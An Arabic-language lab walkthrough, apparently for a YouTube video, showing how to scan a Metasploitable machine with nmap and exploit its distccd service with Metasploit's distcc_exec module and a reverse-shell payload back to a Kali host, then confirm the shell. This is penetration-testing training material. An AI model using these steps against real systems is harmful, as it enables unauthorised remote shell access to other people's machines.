🎬 هذا الفيديو على يوتيوب

1️⃣ تحديد الهدف (Nmap)

nmap -sV -p 3632 192.168.56.102

✅ النتيجة ستكون كالتالي: 3632/tcp open distccd v1

👉 إذن distcc مفتوح ويمكن استغلاله.

2️⃣ تشغيل Metasploit

msfconsole

3️⃣ اختيار استغلال Distcc

use exploit/unix/misc/distcc_exec

4️⃣ التحقق من الإعدادات

show options

المعلمات المطلوبة:

الخيار القيمة RHOSTS Metasploitable IP RPORT 3632 PAYLOAD cmd/unix/reverse

5️⃣ تعيين IP الهدف

set RHOSTS 192.168.56.102

6️⃣ إعداد الحمولة (Payload)

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.56.101

LHOST — عنوان IP الخاص بتوزيعة Kali Linux

7️⃣ تشغيل الاستغلال

run

🎉 النتيجة

إذا تم بنجاح:

[*] Command shell session opened

نتحقق من الشل:

whoami
uname -a
id